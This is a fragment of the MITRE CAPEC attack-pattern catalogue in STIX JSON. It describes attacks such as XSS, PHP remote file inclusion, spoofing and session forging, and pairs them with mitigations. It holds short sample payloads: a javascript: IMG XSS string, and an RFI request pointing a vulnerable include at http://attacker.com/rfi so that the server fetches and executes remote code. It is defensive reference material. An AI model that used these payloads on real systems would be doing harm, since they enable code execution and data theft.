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"The attacker tries to get their malicious flash movie to be executed in the targeted flash application. The malicious file is hosted on the attacker.com domain and the targeted flash application is hosted on example.com The crossdomain.xml file in the root of example.com allows all domains and no specific restriction is specified in the targeted flash application. When the attacker injects their malicious file in the vulnerable flash movie, the rogue flash application is able to access internal variables and parameter of the flash movie."
],
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"id": "attack-pattern--177d22be-7b76-4726-8085-61756f95c0ce",
"name": "Calling Micro-Services Directly",
"description": "An attacker is able to discover and query Micro-services at a web location and thereby expose the Micro-services to further exploitation by gathering information about their implementation and function. Micro-services in web pages allow portions of a page to connect to the server and update content without needing to cause the entire page to update. This allows user activity to change portions of the page more quickly without causing disruptions elsewhere. However, these micro-services may not be subject to the same level of security review as other forms of content. For example, a micro-service that posts requests to a server that are turned into SQL queries may not adequately protect against SQL-injection attacks. As a result, micro-services may provide another vector for a range of attacks. It should be emphasized that the presence of micro-services does not necessarily make a site vulnerable to attack, but they do provide additional complexity to a web page and therefore may contain vulnerabilities that support other attack patterns.",
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"modified": "2015-12-07T00:00:00.000Z",
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"external_id": "CAPEC-179"
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],
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"The attacker usually needs to be able to invoke micro-services directly in order to control the parameters that are used in their attack. The attacker may require other resources depending on the nature of the flaw in the targeted micro-service."
],
"x_capec_abstraction": "Standard",
"x_capec_status": "Draft",
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"id": "attack-pattern--89697649-1004-4130-a9dd-72182e4c6206",
"name": "XSS Targeting Non-Script Elements",
"description": "This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.",
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"modified": "2020-07-30T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/18.html",
"external_id": "CAPEC-18"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/80.html",
"external_id": "CWE-80"
},
{
"source_name": "reference_from_CAPEC",
"description": "G. Hoglund, G. McGraw, Exploiting Software: How to Break Code, 2004--02, Addison-Wesley",
"external_id": "REF-1"
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"x_capec_likelihood_of_attack": "High",
"x_capec_typical_severity": "Very High",
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"The target client software must allow the execution of scripts generated by remote hosts."
],
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"Low": "To achieve a redirection and use of less trusted source, an adversary can simply edit content such as XML payload or HTML files that are sent to client machine.",
"High": "Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process."
},
"x_capec_resources_required": [
"Ability to include malicious script in document, e.g. HTML file, or XML document. Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine"
],
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"Confidentiality": [
"Execute Unauthorized Commands (Run Arbitrary Code)",
"Read Data"
],
"Integrity": [
"Execute Unauthorized Commands (Run Arbitrary Code)"
],
"Availability": [
"Execute Unauthorized Commands (Run Arbitrary Code)"
]
},
"x_capec_abstraction": "Detailed",
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"\n <xhtml:p>An online discussion forum allows its members to post HTML-enabled messages, which can also include image tags. A malicious user embeds JavaScript in the IMG tags in their messages that gets executed within the victim's browser whenever the victim reads these messages.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"attack\"><img src=javascript:alert('XSS')></xhtml:div>\n <xhtml:p>When executed within the victim's browser, the malicious script could accomplish a number of adversary objectives including stealing sensitive information such as usernames, passwords, or cookies.</xhtml:p>\n "
],
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"name": "Exploiting Incorrectly Configured Access Control Security Levels",
"description": "An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack. Most commonly, attackers would take advantage of controls that provided too little protection for sensitive activities in order to perform actions that should be denied to them. In some circumstances, an attacker may be able to take advantage of overly restrictive access control policies, initiating denial of services (if an application locks because it unexpectedly failed to be granted access) or causing other legitimate actions to fail due to security. The latter class of attacks, however, is usually less severe and easier to detect than attacks based on inadequate security restrictions. This attack pattern differs from CAPEC 1, \"Accessing Functionality Not Properly Constrained by ACLs\" in that the latter describes attacks where sensitive functionality lacks access controls, where, in this pattern, the access control is present, but incorrectly configured.",
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{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/732.html",
"external_id": "CWE-732"
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{
"source_name": "cwe",
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},
{
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1224.html",
"external_id": "CWE-1224"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1231.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1233.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1234.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1244.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1252.html",
"external_id": "CWE-1252"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1257.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1259.html",
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},
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"url": "http://cwe.mitre.org/data/definitions/1260.html",
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},
{
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1274.html",
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},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/1280.html",
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},
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},
{
"source_name": "cwe",
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},
{
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"url": "http://cwe.mitre.org/data/definitions/1315.html",
"external_id": "CWE-1315"
},
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"url": "http://cwe.mitre.org/data/definitions/1316.html",
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},
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},
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},
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"description": "Silvio Cesare, Share Library Call Redirection Via ELF PLT Infection (Issue 56), Phrack Magazine, 2000",
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"The target environment must consist of a web-mail server that the attacker can query and a back-end mail server. The back-end mail server need not be directly accessible to the attacker.",
"The web-mail server must fail to adequately sanitize fields received from users and passed on to the back-end mail server.",
"The back-end mail server must not be adequately secured against receiving malicious commands from the web-mail server."
],
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack. However, in most cases, the attacker will need to be a recognized user of the web-mail server."
],
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"x_capec_status": "Draft",
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},
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"id": "attack-pattern--582f33d6-0aa7-4f34-a91e-d767a65adad1",
"name": "Software Integrity Attack",
"description": "An attacker initiates a series of events designed to cause a user, program, server, or device to perform actions which undermine the integrity of software code, device data structures, or device firmware, achieving the modification of the target's integrity to achieve an insecure state.",
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"modified": "2018-07-31T00:00:00.000Z",
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{
"source_name": "capec",
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"external_id": "CAPEC-184"
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{
"source_name": "cwe",
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},
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"name": "Malicious Software Download",
"description": "An attacker uses deceptive methods to cause a user or an automated process to download and install dangerous code that originates from an attacker controlled source. There are several variations to this strategy of attack.",
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"external_id": "CWE-494"
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{
"source_name": "ATTACK",
"description": "Browser Extensions",
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{
"source_name": "ATTACK",
"description": "User Execution:Malicious File",
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{
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{
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"Execute Unauthorized Commands (Utilize the built-in software update mechanisms of the commercial components to deliver software that could compromise security credentials, enable a denial-of-service attack, or enable tracking.)"
],
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"Execute Unauthorized Commands (Utilize the built-in software update mechanisms of the commercial components to deliver software that could compromise security credentials, enable a denial-of-service attack, or enable tracking.)"
],
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]
},
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"name": "Malicious Automated Software Update via Redirection",
"description": "An attacker exploits two layers of weaknesses in server or client software for automated update mechanisms to undermine the integrity of the target code-base. The first weakness involves a failure to properly authenticate a server as a source of update or patch content. This type of weakness typically results from authentication mechanisms which can be defeated, allowing a hostile server to satisfy the criteria that establish a trust relationship. The second weakness is a systemic failure to validate the identity and integrity of code downloaded from a remote location, hence the inability to distinguish malicious code from a legitimate update. One predominate type of redirection attack requires DNS spoofing or hijacking of a domain name corresponding to an update server. The target software initiates an update request and the DNS request resolves the domain name of the update server to the IP address of the attacker, at which point the software accepts updates either transmitted by or pulled from the attackers' server. Attacks against DNS mechanisms comprise an initial phase of a chain of attacks that facilitate automated update hijacking attack, and such attacks have a precedent in targeted activities that have been as complex as DNS/BIND attacks of corporate infrastructures, to untargeted attacks aimed at compromising home broadband routers, as well as attacks involving the compromise of wireless access points, as well as 'evil twin' attacks coupled with DNS redirection. Due to the plethora of options open to the attacker in forcing name resolution to arbitrary servers the Automated Update Hijacking attack strategies are the tip of the spear for many multi-stage attack chains. The second weakness that is exploited by the attacker is the lack of integrity checking by the software in validating the update. Software which relies only upon domain name resolution to establish the identity of update code is particularly vulnerable, because this signals an absence of other security countermeasures that could be applied to invalidate the attackers' payload on basis of code identity, hashing, signing, encryption, and other integrity checking mechanisms. Redirection-based attack patterns work equally well against client-side software as well as local servers or daemons that provide software update functionality.",
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{
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{
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"external_id": "CWE-494"
},
{
"source_name": "ATTACK",
"description": "Software Deployment Tools",
"url": "https://attack.mitre.org/wiki/Technique/T1072",
"external_id": "T1072"
}
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"id": "attack-pattern--25946b99-9827-40a6-99a4-ca15eea08e5d",
"name": "Reverse Engineering",
"description": "An adversary discovers the structure, function, and composition of an object, resource, or system by using a variety of analysis techniques to effectively determine how the analyzed entity was constructed or operates. The goal of reverse engineering is often to duplicate the function, or a part of the function, of an object in order to duplicate or \"back engineer\" some aspect of its functioning. Reverse engineering techniques can be applied to mechanical objects, electronic devices, or software, although the methodology and techniques involved in each type of analysis differ widely.",
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"modified": "2018-07-31T00:00:00.000Z",
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{
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},
{
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"description": "Wikipedia, The Wikimedia Foundation, Inc",
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},
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],
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"When adversaries are reverse engineering software, methodologies fall into two broad categories, 'white box' and 'black box.' White box techniques involve methods which can be applied to a piece of software when an executable or some other compiled object can be directly subjected to analysis, revealing at least a portion of its machine instructions that can be observed upon execution. 'Black Box' methods involve interacting with the software indirectly, in the absence of the ability to measure, instrument, or analyze an executable object directly. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs."
],
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"modified": "2018-07-31T00:00:00.000Z",
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"description": "Employ code obfuscation techniques to prevent the adversary from reverse engineering the targeted entity.",
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"type": "course-of-action"
},
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"id": "relationship--f3b93178-2ee0-4895-86bb-7930c1486b32",
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"modified": "2018-07-31T00:00:00.000Z",
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"relationship_type": "mitigates",
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"name": "Black Box Reverse Engineering",
"description": "An attacker discovers the structure, function, and composition of a type of computer software through black box analysis techniques. 'Black Box' methods involve interacting with the software indirectly, in the absence of direct access to the executable object. Such analysis typically involves interacting with the software at the boundaries of where the software interfaces with a larger execution environment, such as input-output vectors, libraries, or APIs.",
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"modified": "2020-07-30T00:00:00.000Z",
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{
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"external_id": "CAPEC-189"
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{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/203.html",
"external_id": "CWE-203"
}
],
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],
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"x_capec_status": "Draft",
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"id": "attack-pattern--634aeef0-13a8-449b-afea-332cbc6095bf",
"name": "Embedding Scripts within Scripts",
"description": "An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The adversary leverages this capability to execute their own script by embedding it within other scripts that the target software is likely to execute. The adversary must have the ability to inject their script into a script that is likely to be executed. If this is done, then the adversary can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. These attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well.",
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"modified": "2020-07-30T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/19.html",
"external_id": "CAPEC-19"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/284.html",
"external_id": "CWE-284"
},
{
"source_name": "ATTACK",
"description": "Event Triggered Execution:.bash_profile and .bashrc",
"url": "https://attack.mitre.org/wiki/Technique/T1546/004",
"external_id": "T1546.004"
}
],
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],
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"Low": "To load malicious script into open, e.g. world writable directory",
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},
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"Confidentiality": [
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],
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"Execute Unauthorized Commands (Run Arbitrary Code)"
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],
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"Gain Privileges"
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"\n <xhtml:p>Ajax applications enable rich functionality for browser based web applications. Applications like Google Maps deliver unprecedented ability to zoom in and out, scroll graphics, and change graphic presentation through Ajax. The security issues that an attacker may exploit in this instance are the relative lack of security features in JavaScript and the various browser's implementation of JavaScript, these security gaps are what XSS and a host of other client side vulnerabilities are based on. While Ajax may not open up new security holes, per se, due to the conversational aspects between client and server of Ajax communication, attacks can be optimized. A single zoom in or zoom out on a graphic in an Ajax application may round trip to the server dozens of times. One of the first steps many attackers take is frequently footprinting an environment, this can include scanning local addresses like 192.*.*.* IP addresses, checking local directories, files, and settings for known vulnerabilities, and so on.</xhtml:p>\n <xhtml:div style=\"margin-left:10px;\" class=\"informative\"><IMG SRC=javascript:alert('XSS')></xhtml:div>\n <xhtml:p>The XSS script that is embedded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of.</xhtml:p>\n <xhtml:p>In addition the enumerations allow for the attacker to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.</xhtml:p>\n ",
"~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell."
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"x_capec_typical_severity": "Low",
"x_capec_prerequisites": [
"Access to a binary or executable such that it can be analyzed by various utilities."
],
"x_capec_resources_required": [
"Binary analysis programs such as 'strings' or 'grep', or hex editors."
],
"x_capec_abstraction": "Detailed",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--30b081a0-bf20-432b-8211-a340bbd04731",
"name": "Protocol Analysis",
"description": "An adversary engages in activities to decipher and/or decode protocol information for a network or application communication protocol used for transmitting information between interconnected nodes or systems on a packet-switched data network. While this type of analysis involves the analysis of a networking protocol inherently, it does not require the presence of an actual or physical network. Although certain techniques for protocol analysis benefit from manipulating live 'on-the-wire' interactions between communicating components, static or dynamic analysis techniques applied to executables as well as to device drivers, such as network interface drivers, can also be used to reveal the function and characteristics of a communication protocol implementation. Depending upon the methods used the process may involve observing, interacting, and modifying actual communications occurring between hosts. The goal of protocol analysis is to derive the data transmission syntax, as well as to extract the meaningful content, including packet or content delimiters used by the protocol. This type of analysis is often performed on closed-specification protocols, or proprietary protocols, but is also useful for analyzing publicly available specifications to determine how particular implementations deviate from published specifications.",
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],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2018-07-31T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/192.html",
"external_id": "CAPEC-192"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/326.html",
"external_id": "CWE-326"
},
{
"source_name": "reference_from_CAPEC",
"description": "Wikipedia, The Wikimedia Foundation, Inc",
"url": "http://en.wikipedia.org/wiki/Proprietary_protocol",
"external_id": "REF-57"
},
{
"source_name": "reference_from_CAPEC",
"description": "Wikipedia, The Wikimedia Foundation, Inc",
"url": "http://en.wikipedia.org/wiki/Reverse_engineering",
"external_id": "REF-50"
}
],
"x_capec_likelihood_of_attack": "Low",
"x_capec_typical_severity": "Low",
"x_capec_prerequisites": [
"Access to a binary executable.",
"The ability to observe and interact with a communication channel between communicating processes."
],
"x_capec_skills_required": {
"High": "Knowlegde of the Open Systems Interconnection model (OSI model), and famililarity with Wireshark or some other packet analyzer."
},
"x_capec_resources_required": [
"Depending on the type of analysis, a variety of tools might be required, such as static code and/or dynamic analysis tools. Alternatively, the effort might require debugging programs such as ollydbg, SoftICE, or disassemblers like IDA Pro. In some instances, packet sniffing or packet analyzing programs such as TCP dump or Wireshark are necessary. Lastly, specific protocol analysis might require tools such as PDB (Protocol Debug), or packet injection tools like pcap or Nemesis."
],
"x_capec_consequences": {
"Confidentiality": [
"Read Data (Successful deciphering of protocol information compromises the confidentiality of future sensitive communications.)"
],
"Integrity": [
"Modify Data (Modifying communications after successful deciphering of protocol information compromises integrity.)"
]
},
"x_capec_abstraction": "Meta",
"x_capec_status": "Stable",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb",
"name": "PHP Remote File Inclusion",
"description": "In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized \"include\" or \"require\" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.",
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],
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"modified": "2020-12-17T00:00:00.000Z",
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{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/193.html",
"external_id": "CAPEC-193"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/98.html",
"external_id": "CWE-98"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/80.html",
"external_id": "CWE-80"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/714.html",
"external_id": "CWE-714"
},
{
"source_name": "reference_from_CAPEC",
"description": "WASC Threat Classification 2.0, 2010, The Web Application Security Consortium (WASC)",
"url": "http://projects.webappsec.org/Remote-File-Inclusion",
"external_id": "REF-59"
},
{
"source_name": "reference_from_CAPEC",
"description": "Shaun Clowes, A Study In Scarlet, Exploiting Common Vulnerabilities in PHP Applications, Blackhat Briefings Asia 2001",
"url": "http://securereality.com.au/studyinscarlett/",
"external_id": "REF-60"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Top 10 2007 (2007), The Open Web Application Security Project (OWASP)",
"url": "https://www.owasp.org/www-pdf-archive/OWASP_Top_10_2007.pdf",
"external_id": "REF-30"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Vulnerabilities, The Open Web Application Security Project (OWASP)",
"url": "https://owasp.org/www-community/vulnerabilities/PHP_File_Inclusion",
"external_id": "REF-621"
}
],
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"x_capec_typical_severity": "High",
"x_capec_prerequisites": [
"Target application server must allow remote files to be included in the \"require\", \"include\", etc. PHP directives",
"The adversary must have the ability to make HTTP requests to the target web application."
],
"x_capec_skills_required": {
"Low": "To inject the malicious payload in a web page",
"Medium": "To bypass filters in the application"
},
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_consequences": {
"Integrity": [
"Modify Data"
],
"Confidentiality": [
"Read Data"
],
"Authorization": [
"Execute Unauthorized Commands (Run Arbitrary Code)",
"Gain Privileges",
"Bypass Protection Mechanism"
],
"Accountability": [
"Gain Privileges"
],
"Authentication": [
"Gain Privileges"
],
"Non-Repudiation": [
"Gain Privileges"
],
"Access_Control": [
"Bypass Protection Mechanism"
]
},
"x_capec_abstraction": "Detailed",
"x_capec_example_instances": [
"\n <xhtml:div style=\"margin-left:10px;\">\n <xhtml:ul>\n <xhtml:li>The adversary controls a PHP script on a server \"http://attacker.com/rfi.txt\"</xhtml:li>\n <xhtml:li>The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt')</xhtml:li>\n <xhtml:li>The adversary creates an HTTP request that passes their own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the \".txt\" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.</xhtml:li>\n </xhtml:ul>\n </xhtml:div>\n "
],
"x_capec_execution_flow": "<h2> Execution Flow </h2><div><h3>Explore</h3><ol><li> <p> <b>Survey application: </b>Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.</td></tr><tr><td>Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.</td></tr><tr><td>Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.</td></tr></tbody></table></ol></div><div><h3>Experiment</h3><ol><li> <p> <b>Attempt variations on input parameters: </b>The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before. They send parameters that include variations of payloads which include a reference to the remote PHP script. They record all the responses from the server that include the output of the execution of remote PHP script.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the adversary controlled remote PHP script.</td></tr><tr><td>Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.</td></tr></tbody></table></ol></div><div><h3>Exploit</h3><ol><li> <p> <b>Run arbitrary server-side code: </b>As the adversary succeeds in exploiting the vulnerability, they are able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the adversary might include shell code in their script and execute commands on the server under the same privileges as the PHP runtime is running with.</p></li><table><tbody><tr><th>Techniques</th></tr><tr><td>Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.</td></tr></tbody></table></ol></div>",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
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"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-193-0",
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],
"description": "Implementation: Perform input validation for all remote content, including remote and user-generated content",
"x_capec_version": "3.4",
"type": "course-of-action"
},
{
"id": "relationship--6a9f585c-d08d-48c1-bdf7-46e48cc36148",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
"x_capec_version": "3.4",
"type": "relationship",
"source_ref": "course-of-action--26850710-b983-423b-962a-5fd4b550fa0e",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb"
},
{
"id": "course-of-action--5f830ee1-2df0-423a-a566-4e75e0436eb5",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-193-1",
"object_marking_refs": [
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],
"description": "Implementation: Only allow known files to be included (allowlist)",
"x_capec_version": "3.4",
"type": "course-of-action"
},
{
"id": "relationship--08eeb157-8c84-4597-82fa-5def0ac9487f",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
"x_capec_version": "3.4",
"type": "relationship",
"source_ref": "course-of-action--5f830ee1-2df0-423a-a566-4e75e0436eb5",
"relationship_type": "mitigates",
"target_ref": "attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb"
},
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"id": "course-of-action--69b6bab3-0a47-402a-b11e-6f7897b75465",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
"description": "Implementation: Make use of indirect references passed in URL parameters instead of file names",
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"relationship_type": "mitigates",
"target_ref": "attack-pattern--51cf3883-1993-49d1-a6c6-169cabf71adb"
},
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"id": "course-of-action--187ffc19-5bd4-4620-9436-c6d93ed9d537",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"name": "coa-193-3",
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],
"description": "Configuration: Ensure that remote scripts cannot be include in the \"include\" or \"require\" PHP directives",
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"type": "course-of-action"
},
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"id": "relationship--52062c91-9d25-45fb-99d4-cb7246296082",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
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],
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"relationship_type": "mitigates",
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},
{
"id": "attack-pattern--862d18f1-a87c-4f1b-acc2-882697d5d6e5",
"name": "Fake the Source of Data",
"description": "An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified \"From\" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.",
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],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-12-17T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/194.html",
"external_id": "CAPEC-194"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/287.html",
"external_id": "CWE-287"
},
{
"source_name": "WASC",
"description": "URL Redirector Abuse",
"url": "http://projects.webappsec.org/URL-Redirector-Abuse",
"external_id": "38"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"This attack is only applicable when a vulnerable entity associates data or services with an identity. Without such an association, there would be no reason to fake the source."
],
"x_capec_resources_required": [
"Resources required vary depending on the nature of the attack. Possible tools needed by an attacker could include tools to create custom network packets, specific client software, and tools to capture network traffic. Many variants of this attack require no attacker resources, however."
],
"x_capec_consequences": {
"Integrity": [
"Alter Execution Logic (By faking the source of data or services, an adversary can cause a target to make incorrect decisions about how to proceed.)",
"Gain Privileges (By impersonating identities that have an increased level of access, an adversary gain privilege that they many not have otherwise had.)",
"Hide Activities (Faking the source of data or services can be used to create a false trail in logs as the target will associate any actions with the impersonated identity instead of the adversary.)"
]
},
"x_capec_abstraction": "Standard",
"x_capec_status": "Stable",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--8711eca6-b3ad-40b7-b7ac-08be37885119",
"name": "Principal Spoof",
"description": "A Principal Spoof is a form of Identity Spoofing where an adversary pretends to be some other person in an interaction. This is often accomplished by crafting a message (either written, verbal, or visual) that appears to come from a person other than the adversary. Phishing and Pharming attacks often attempt to do this so that their attempts to gather sensitive information appear to come from a legitimate source. A Principal Spoof does not use stolen or spoofed authentication credentials, instead relying on the appearance and content of the message to reflect identity. The possible outcomes of a Principal Spoof mirror those of Identity Spoofing. (e.g., escalation of privilege and false attribution of data or activities) Likewise, most techniques for Identity Spoofing (crafting messages or intercepting and replaying or modifying messages) can be used for a Principal Spoof attack. However, because a Principal Spoof is used to impersonate a person, social engineering can be both an attack technique (using social techniques to generate evidence in support of a false identity) as well as a possible outcome (manipulating people's perceptions by making statements or performing actions under a target's name).",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2019-04-04T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/195.html",
"external_id": "CAPEC-195"
}
],
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"The target must associate data or activities with a person's identity and the adversary must be able to modify this identity without detection."
],
"x_capec_resources_required": [
"None: No specialized resources are required to execute this type of attack."
],
"x_capec_abstraction": "Standard",
"x_capec_status": "Draft",
"x_capec_version": "3.4",
"type": "attack-pattern"
},
{
"id": "attack-pattern--414d0884-4f46-4a51-b4ea-72125c7f5f9e",
"name": "Session Credential Falsification through Forging",
"description": "An attacker creates a false but functional session credential in order to gain or usurp access to a service. Session credentials allow users to identify themselves to a service after an initial authentication without needing to resend the authentication information (usually a username and password) with every message. If an attacker is able to forge valid session credentials they may be able to bypass authentication or piggy-back off some other authenticated user's session. This attack differs from Reuse of Session IDs and Session Sidejacking attacks in that in the latter attacks an attacker uses a previous or existing credential without modification while, in a forging attack, the attacker must create their own credential, although it may be based on previously observed credentials.",
"created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd",
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],
"created": "2014-06-23T00:00:00.000Z",
"modified": "2020-07-30T00:00:00.000Z",
"external_references": [
{
"source_name": "capec",
"url": "https://capec.mitre.org/data/definitions/196.html",
"external_id": "CAPEC-196"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/384.html",
"external_id": "CWE-384"
},
{
"source_name": "cwe",
"url": "http://cwe.mitre.org/data/definitions/664.html",
"external_id": "CWE-664"
},
{
"source_name": "reference_from_CAPEC",
"description": "Thomas Schreiber, Session Riding: A Widespread Vulnerability in Today's Web Applications, SecureNet GmbH",
"url": "https://crypto.stanford.edu/cs155old/cs155-spring08/papers/Session_Riding.pdf",
"external_id": "REF-62"
},
{
"source_name": "reference_from_CAPEC",
"description": "OWASP Testing Guide (v4), The Open Web Application Security Project (OWASP)",
"url": "http://www.owasp.org/index.php/Testing_for_Session_Management",
"external_id": "REF-63"
}
],
"x_capec_likelihood_of_attack": "Medium",
"x_capec_typical_severity": "Medium",
"x_capec_prerequisites": [
"The targeted application must use session credentials to identify legitimate users. Session identifiers that remains unchanged when the privilege levels change. Predictable session identifiers."
],
"x_capec_skills_required": {
"Medium": "Forge the session credential and reply the request."
},
"x_capec_resources_required": [
"Attackers may require tools to craft messages containing their forged credentials, and ability to send HTTP request to a web application."
],
"x_capec_consequences": {
"Integrity": [
"Modify Data"
